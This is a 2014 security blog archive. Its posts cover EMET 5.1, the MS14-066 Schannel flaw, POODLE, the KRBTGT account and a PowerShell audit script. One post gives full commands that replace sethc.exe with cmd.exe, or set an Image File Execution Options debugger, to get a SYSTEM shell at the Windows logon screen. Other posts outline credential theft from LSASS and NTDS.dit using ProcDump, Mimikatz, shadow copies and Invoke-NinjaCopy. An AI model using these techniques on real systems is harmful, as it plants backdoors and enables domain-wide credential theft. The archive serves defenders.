Nov 13 2014

EMET v5.1 Released

This week, Microsoft released version 5.1 of their Enhanced Mitigation Experience Toolkit (EMET).

EMET 5.1 can be download from the Microsoft EMET website.

Microsoft Security Research and Defense Blog describes the update:

Today, we’re releasing the Enhanced Mitigation Experience Toolkit (EMET) 5.1 which will continue to improve your security posture by providing increased application compatibility and hardened mitigations. You can download EMET 5.1 from microsoft.com/emet or directly from here. Following is the list of the main changes and improvements:

  • Several application compatibility issues with Internet Explorer, Adobe Reader, Adobe Flash, and Mozilla Firefox and some of the EMET mitigations have been solved.
  • Certain mitigations have been improved and hardened to make them more resilient to attacks and bypasses.
  • Added “Local Telemetry” feature that allows to locally save memory dumps when a mitigation is triggered.

All the changes in this release are listed in Microsoft KB Article 3015976.

If you are using Internet Explorer 11, either on Windows 7 or Windows 8.1, and have deployed EMET 5.0, it is particularly important to install EMET 5.1 as compatibility issues were discovered with the November Internet Explorer security update and the EAF+ mitigation. Alternatively, you can temporarily disable EAF+ on EMET 5.0. Details on how to disable the EAF+ mitigation are available in the User Guide. In general we recommend upgrading to the latest version of EMET to benefit from all the enhancements.


TrustedSec describes how EMET works:

EMET works by injecting an EMET.dll into running executables to provide memory level protections and mitigations against common exploit techniques. Nothing is perfect – several individuals have demonstrated how to circumvent EMET however, it does become much more difficult and has to be built into the exploit. EMET 5.1 was released yesterday (November 10, 2014) by Microsoft which includes their latest iteration of EMET. The folks over at Microsoft continue to move the product forward by including fixes and enhancements each time making it both more compatible with several different products as well as making it more difficult to circumvent and bypass.

 

Nov 12 2014

Microsoft’s HeartBleed: The Schannel SSL/TLS vulnerability (MS14-066)

Earlier this year, Unix/Linux/*nix systems dealt with the “Hearbleed” OpenSSL vulnerability which affected a large portion of the web. There is a major vulnerability in Microsoft’s Schannel which was recently patched in MS14-066 (KB2992611).

What is SChannel?

The Secure Channel (Schannel) security package is a Security Support Provider (SSP) that implements the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) Internet standard authentication protocols. These components are used to implement secure communications in support of several common internet and network applications, such as web browsing. Schannel is part of the security package that helps provide an authentication service to provide secure communications between client and server.


Microsoft notes the impact:

What might an attacker use the vulnerability to do?
An attacker who successfully exploited this vulnerability could run arbitrary code on a target server.

How could an attacker exploit the vulnerability?
An attacker could attempt to exploit this vulnerability by sending specially crafted packets to a Windows server.

What systems are primarily at risk from the vulnerability?
Server and workstation systems that are running an affected version of Schannel are primarily at risk.


DarkReading.com writes:

Microsoft has patched a critical 19-year-old data manipulation vulnerability that’s been lurking in every version of Windows — both server and client operating systems — since Windows 95 (MS14-066). Windows has not released a patch for the now unsupported Windows XP.

This critical bug in Windows SChannel, Microsoft’s implementation of SSL/TLS, is remotely executable and could be used to run malicious code on vulnerable systems by sending specially crafted packets to a Windows server. It has been rated a 9.3 on the CVSS scale. The vulnerability, called “Winshock” by some, is next on the list of bugs exposing SSL/TLS installations — like OpenSSL’s Heartbleed (for which Microsoft did release an XP patch after support officially ended) and the vulnerability in Apple Secure Transport released in the spring.

 

Arstechnica describes the issue:

Tuesday’s disclosure means that every major TLS stack—including Apple SecureTransport, GNUTLS, OpenSSL, NSS, and now Microsoft SChannel—has had a severe vulnerability this year. In some cases, the flaws merely allowed attackers to bypass encryption protections, while others—most notably the Heartbleed bug in OpenSSL and the one patched Tuesday in Windows, allowed adversaries to steal highly sensitive data and execute malicious code on vulnerable systems respectively.

Microsoft’s advisory said there are no mitigating factors and no workarounds for the bug. A separate exploitation index assessed real-world attacks as “likely” for both newer and older Windows releases. The advisory said there is no evidence pointing to in-the-wild exploits against Windows users at the time it was drafted. MS14-066 was one of 16 updates Microsoft scheduled for this month’s Patch Tuesday batch. They include a fix for a zero-day vulnerability already under attack in highly targeted espionage attacks.


Tenable’s write-up compares this issue to HeartBleed:

Is this Heartbleed 2.0?

We have seen this vulnerability being compared to Heartbleed and want to dispel some of the myths floating around. This vulnerability poses serious theoretical risk to organizations and should be patched as soon as possible, but it does not have the same release-time impact as many of the other recently highly-publicized vulnerabilities.

Heartbleed, Bashbug, and Sandworm are all security risks that were being actively exploited in the wild upon their publication, and exploitation was relatively trivial.  Additionally, sufficient remediation via patching was not readily available at the same time when some of these risks were publicly disclosed. As mentioned above, MS14-066 was discovered internally at Microsoft, they have indicated that exploit code will be challenging to develop and a patch was made available at the same time the vulnerability was reported by Microsoft.

References:

 

Nov 11 2014

Another SSL Attack: POODLE

SSL used to be the foremost method for securing web communications until around 1999 when TLS 1.0 was released.

BEAST demonstrated inherent flaws in the aging SSL 3 protocol (RC4!). Now, POODLE demonstrates that SSL3 needs to be disabled on the client AND server side.

Note that the chance of this specific issue being the one that compromises your computer is minimal. In order for this issue to be properly exploited, the attacker would likely need to get code to execute in the browser session. This may or may not be easier to exploit in non-browser based implementations.

Google posted the following on this issue:

SSL 3.0 is nearly 18 years old, but support for it remains widespread. Most importantly, nearly all browsers support it and, in order to work around bugs in HTTPS servers, browsers will retry failed connections with older protocol versions, including SSL 3.0. Because a network attacker can cause connection failures, they can trigger the use of SSL 3.0 and then exploit this issue.

Disabling SSL 3.0 support, or CBC-mode ciphers with SSL 3.0, is sufficient to mitigate this issue, but presents significant compatibility problems, even today. Therefore our recommended response is to support TLS_FALLBACK_SCSV. This is a mechanism that solves the problems caused by retrying failed connections and thus prevents attackers from inducing browsers to use SSL 3.0. It also prevents downgrades from TLS 1.2 to 1.1 or 1.0 and so may help prevent future attacks.

Google Chrome and our servers have supported TLS_FALLBACK_SCSV since February and thus we have good evidence that it can be used without compatibility problems. Additionally, Google Chrome will begin testing changes today that disable the fallback to SSL 3.0. This change will break some sites and those sites will need to be updated quickly.

In the coming months, we hope to remove support for SSL 3.0 completely from our client products.


US CERT’s write-up:

Systems Affected

All systems and applications utilizing the Secure Socket Layer (SSL) 3.0 with cipher-block chaining (CBC) mode ciphers may be vulnerable. However, the POODLE (Padding Oracle On Downgraded Legacy Encryption) attack demonstrates this vulnerability using web browsers and web servers, which is one of the most likely exploitation scenarios.
Overview

US-CERT is aware of a design vulnerability found in the way SSL 3.0 handles block cipher mode padding. The POODLE attack demonstrates how an attacker can exploit this vulnerability to decrypt and extract information from inside an encrypted transaction.
Description

The SSL 3.0 vulnerability stems from the way blocks of data are encrypted under a specific type of encryption algorithm within the SSL protocol. The POODLE attack takes advantage of the protocol version negotiation feature built into SSL/TLS to force the use of SSL 3.0 and then leverages this new vulnerability to decrypt select content within the SSL session. The decryption is done byte by byte and will generate a large number of connections between the client and server.

While SSL 3.0 is an old encryption standard and has generally been replaced by Transport Layer Security (TLS) (which is not vulnerable in this way), most SSL/TLS implementations remain backwards compatible with SSL 3.0 to interoperate with legacy systems in the interest of a smooth user experience. Even if a client and server both support a version of TLS the SSL/TLS protocol suite allows for protocol version negotiation (being referred to as the “downgrade dance” in other reporting). The POODLE attack leverages the fact that when a secure connection attempt fails, servers will fall back to older protocols such as SSL 3.0. An attacker who can trigger a connection failure can then force the use of SSL 3.0 and attempt the new attack. [1]

Two other conditions must be met to successfully execute the POODLE attack: 1) the attacker must be able to control portions of the client side of the SSL connection (varying the length of the input) and 2) the attacker must have visibility of the resulting ciphertext. The most common way to achieve these conditions would be to act as Man-in-the-Middle (MITM), requiring a whole separate form of attack to establish that level of access.

These conditions make successful exploitation somewhat difficult. Environments that are already at above-average risk for MITM attacks (such as public WiFi) remove some of those challenges.
Impact

The POODLE attack can be used against any system or application that supports SSL 3.0 with CBC mode ciphers. This affects most current browsers and websites, but also includes any software that either references a vulnerable SSL/TLS library (e.g. OpenSSL) or implements the SSL/TLS protocol suite itself. By exploiting this vulnerability in a likely web-based scenario, an attacker can gain access to sensitive data passed within the encrypted web session, such as passwords, cookies and other authentication tokens that can then be used to gain more complete access to a website (impersonating that user, accessing database content, etc.).
Solution

There is currently no fix for the vulnerability SSL 3.0 itself, as the issue is fundamental to the protocol; however, disabling SSL 3.0 support in system/application configurations is the most viable solution currently available.

Some of the same researchers that discovered the vulnerability also developed a fix for one of the prerequisite conditions; TLS_FALLBACK_SCSV is a protocol extension that prevents MITM attackers from being able to force a protocol downgrade. OpenSSL has added support for TLS_FALLBACK_SCSV to their latest versions and recommend the following upgrades: [2]

OpenSSL 1.0.1 users should upgrade to 1.0.1j.
OpenSSL 1.0.0 users should upgrade to 1.0.0o.
OpenSSL 0.9.8 users should upgrade to 0.9.8zc.

Both clients and servers need to support TLS_FALLBACK_SCSV to prevent downgrade attacks.

Other SSL 3.0 implementations are most likely also affected by POODLE. Contact your vendor for details. Additional vendor information may be available in the National Vulnerability Database (NVD) entry for CVE-2014-3566 [3] or in CERT Vulnerability Note VU#577193.


The CSA describes the issue:

What’s the risk?
The danger arising from the POODLE attack is that a malicious actor with control of an HTTPS server or some part of the intervening network can cause an HTTPS connection to downgrade to the SSLv3 protocol. An attack against SSLv3’s CBC encryption schemes can then be used to begin decrypting the contents of the session. Essentially, POODLE could allow an attacker to hijack and decrypt the session cookie that identifies a cloud service user to a service like Twitter or Google, and then take over your accounts without needing your password.

How to protect your company’s data
We recommend disabling the SSLv3 protocol on all servers, relying only on TLSv1.0 or greater. Additionally, company browsers and forward proxies should disallow SSLv3 and likewise permit only TLSv1.0 or greater as a minimum SSL protocol version. Enterprises should also disable the use of CBC-mode ciphers. To patch retrying of failed connections, apply TLS_FALLBACK_SCSV option (e.g. http://marc.info/?l=openssl-dev&m=141333049205629&w=2).

Legacy applications relying solely on SSLv3 should be considered at-risk and vulnerable. Generic encryption wrapper software like Stunnel can be used as a workaround to provide encrypted TLSv1 tunnels.

 

References:

 

Nov 10 2014

Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account

Every Domain Controller in an Active Directory domain runs a KDC (Kerberos Distribution Center) service which handles all Kerberos ticket requests. AD uses the KRBTGT account in the AD domain for Kerberos tickets. The KRBTGT account is one that has been lurking in your Active Directory environment since it was first stood up. Each Active Directory domain has an associated KRBTGT account that is used to encrypt and sign all Kerberos tickets for the domain. It is a domain account so that all writable Domain Controllers know the account password in order to decrypt Kerberos tickets for validation. Read Only Domain Controllers (RODCs) each have their own individual KRBTGT account used to encrypt/sign Kerberos tickets in their own sites. The RODC has a specific KRBTGT account (krbtgt_######) associated with the RODC through a backlink on the account. This ensures that there is cryptographic isolation between trusted Domain Controllers and untrusted RODCs.

The KRBTGT is shrouded in mystery and most AD admins will not mess with it or change its membership. It shouldn’t be a member of Domain Admins, Administrators, or any other groups other than “Domain Users” and “Denied RODC Password Replication Group”. Note that the “Denied RODC Password Replication Group” is a new group added when you run ADPrep before installing the domain’s first 2008/2008R2/2012 DC. This group supports Read-Only Domain Controllers (RODC) ensuring that certain accounts never have their passwords stored on a RODC.

KRBTGT-Info

The SID for the KRBTGT account is S-1-5-<domain>-502 and lives in the Users OU in the domain by default. Microsoft does not recommend moving this account to another OU.

From Microsoft TechNet:

The KRBTGT account is a local default account that acts as a service account for the Key Distribution Center (KDC) service. This account cannot be deleted, and the account name cannot be changed. The KRBTGT account cannot be enabled in Active Directory.

KRBTGT is also the security principal name used by the KDC for a Windows Server domain, as specified by RFC 4120. The KRBTGT account is the entity for the KRBTGT security principal, and it is created automatically when a new domain is created.

Windows Server Kerberos authentication is achieved by the use of a special Kerberos ticket-granting ticket (TGT) enciphered with a symmetric key. This key is derived from the password of the server or service to which access is requested. The TGT password of the KRBTGT account is known only by the Kerberos service. In order to request a session ticket, the TGT must be presented to the KDC. The TGT is issued to the Kerberos client from the KDC.

99.99% of the time*, the KRBTGT account’s password has not changed since the Active Directory domain was stood up.

Continue reading

Nov 09 2014

PowerShell Code: Check KRBTGT Domain Kerberos Account Last Password Change

From my GitHub Repo: Get-PSADForestKRBTGTInfo

 This function discovers all of the KRBTGT accounts in the forest using ADSI and returns the account info, specifically the last password change.

Currently, the script performs the following actions:
* Queries a Global Catalog in the Active Directory root domain for all KRBTGT accounts in the forest by querying the Global Catalog for SPN info.
* Provides information about all of the KRBTGT accounts in the forest, specifically the last password change.

REQUIRES: Active Directory user authentication. Standard user access is fine – admin access is not necessary.

 

Nov 08 2014

Mandiant MIRCon 2014 Presentation Slides

Using some Google-Fu, I was able to find some MIRCon 2014 presentation slides (sorry, no videos yet).
Mandiant MIRCon 2014 Presentation Slides:

Nov 08 2014

Hack Attack Method Whitepapers

The best way to develop the best defense is to study the offense’s methods.

Here are several recent reports that detail current modern network attacks:

Nov 07 2014

The Ultimate Movie Hacking Tool – Command Shell at Windows Logon Screen (via “StickyKeys”)

How many times have you seen a movie where the “hacker” connects to a system with a logon screen, hits a couple of keys, and gets a command shell. Here’s how this can be done for real in Windows.

The issue is that the Windows Ease of Use tools are accessible at the logon screen. Replacing the valid command(s) with a copy of cmd.exe provides a hidden command shell when pressing the right key combo (for example, pressing shift over and over again for “sticky keys”).

Here’s how to “hack the Windows logon screen” using an existing logged in privileged account.

Open a command prompt in Windows as an administrator and run the following commands:

cd\
cd windows\system32

icacls c:\windows\system32\sethc.exe /save c:\windows\system32\sethc.ACLFile /T
takeown /f sethc.exe
icacls sethc.exe /grant administrators:f

icacls c:\windows\system32\cmd.exe /save c:\windows\system32\cmd.ACLFile /T
takeown /f cmd.exe
icacls cmd.exe /grant administrators:f

copy c:\windows\system32\sethc.exe c:\windows\system32\sethcexe.BAK
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

Note that this can also be set via a registry enttry:

Open Regedit and browse to:  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Create a new key called “sethc.exe”
Under this new key, create a new string value (REG_SZ) and call it “Debugger”
Modify this value to be “C:\windows\system32\cmd.exe”

Note that the winlogon process will kill the cmd window invoked through this method after a short amount of time.

You can now open the command prompt by pressing the Shift key about 5 to 10 times at the logon screen to open command prompt as SYSTEM.

To restore the files and permissions, open a command window as administrator and run the following:

copy c:\windows\system32\sethcexe.BAK c:\windows\system32\sethc.exe

icacls c:\windows\system32\sethc.exe /restore c:\windows\system32\sethc.ACLFile /T

icacls c:\windows\system32\cmd.exe /restore c:\windows\system32\cmd.ACLFile /T

 

Nov 06 2014

How Attackers Extract Credentials (Hashes) From LSASS

I performed extensive research on how attackers dump credentials from LSASS and Active Directory, including pulling the Active Directory database (ntds.dit) remotely. This information is covered in two newer and greatly expanded posts:

 

Attackers can pull credentials from LSASS using a variety of techniques:

  1. Dump the LSASS process from memory to disk using Sysinternals ProcDump. Since ProcDump is a signed Microsoft utility, AV usually doesn’t trigger on it. ProcDump creates a minidump of the target process from which Mimikatz can extract credentials.
  2. The legitimate VMWare tool Vmss2core can be used to dump memory from a suspended VM (*.vmss) or saved VM (*.vmsn) file. The Volatility Framework can extract the hashes.

 

We all love grabbing credentials from Window machines that we have compromised, wether they are in clear-text or hashes. Sometimes, however, it is not possible to get those credentials immediately if at all. In this tutorial I want to briefly show two cases where you can dump memory to disk (exfiltrate it) and extract the credentials at a later time. I will demonstrate these test cases on a 32-bit Windows 7 VM that I use for testing purposes, these techniques should however apply to a wide variety of Windows builds.

Links:
ProcDump // Windows Sysinternals – here
Mimikatz // Blog de Gentil Kiwi – here
The Volatility Foundation // Homepage – here
Vmss2core // VMWare Labs – here
VMware Snapshot and Saved State Analysis // Volatility Labs – here

Read the details at FuzzySecurity.com

References:

Nov 06 2014

How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller

I performed extensive research on how attackers dump AD credentials, including pulling the Active Directory database (ntds.dit) remotely. This information is covered in two newer and greatly expanded posts:

 

The original post data follows:

How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller:

Step 1: Create Volume Shadow Copy (VSS):

I recently performed an internal penetration test where the NTDS.dit file got me thousands of password hashes. After compromising unpatched Microsoft Windows computers on the client’s domain, I gained access to a number of domain accounts. Below I’ll explain how I did it.

The client had two domain controllers, one Windows 2003 and one Windows 2008. One of the domain accounts obtained via other means (not described by this post) had rights to log-on locally on both domain controllers.

I attempted to dump the Active Directory database, but I couldn’t get the SAM file through my usual methods. Eventually, and after much effort, I got the SAM file but found it only contained one hash.

The following actions allowed me to obtain the Active Directory password hashes. This method will work on Windows 2003, Windows 2008 and Windows 2012 servers.

The NTDS.dit file is the Active Directory database. It stores all Active Directory information including password hashes.

I recreated the scenario, to demonstrate it on a Windows 2012 server.

Read the rest at the SpiderLabs Blog

OR use PowerShell:  “Using PowerShell to Copy NTDS.dit / Registry Hives, Bypass SACL’s / DACL’s / File Locks”:

Currently there are a few ways to dump Active Directory and local password hashes. Until recently, the techniques I had seen used to get the hashes either relied on injecting code in to LSASS or using the Volume Shadow Copy service to obtain copies of the files which contain the hashes. I have created a PowerShell script called Invoke-NinjaCopy that allows any file (including NTDS.dit) to be copied without starting suspicious services, injecting in to processes, or elevating to SYSTEM. But first, a little background.

A few months back I saw this awesome blog post: http://www.josho.org/blog/blog/2013/03/07/samex/. Rather than attempting to read files using the Win32 API (which enforces things such as read handle locks, SACL, DACL, etc.), the author wrote a tool that obtains a read handle to the C volume (something an administrator account can do). This gives him the ability to read the raw bytes of the entire volume. The tool then parses the NTFS structures on the C volume, determines where on the volume the bytes for a particular file reside, scans to the location and copies the files bytes. This allows the tool to get access to files even though LSASS has the file locked, and doesn’t require starting the Volume Shadow Copy service (which might look suspicious if it isn’t normally used).

I wanted something a little more generic (SAMex only dumps files related to password hashes on the C volume): a tool that allows me to copy any file on any volume. I want to be able to make copies of NTDS.dit and registry hives, but also any other file (such as a file protected by a SACL). I also want the tool to be written in PowerShell so it can be run remotely without writing hacker tools to disk.

Initially, I was going to write a parser in PowerShell, but then I realized there are already NTFS parsers written in C++ such as this one: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib. Rather than write an NTFS parser in PowerShell, it made a lot more sense to compile an existing NTFS parser as a DLL and load it up in Invoke-ReflectivePEInjection.

I was able to get the NTFS parser loaded up in PowerShell in several hours, which goes to show how easy and fast it is to turn existing native code applications in to sneaky PowerShell tools.

The result is Invoke-NinjaCopy. A PowerShell script capable of copying NTDS.dit, Registry hives, and any other file sitting on an NTFS volume by obtaining a read handle to the volume and parsing NTFS. This does not require elevating to SYSTEM, injecting in to SYSTEM processes, or starting new services/suspicious programs.

Read the rest at Joe Bialok’s Blog about Invoke-NinjaCopy that is part of PowerSploit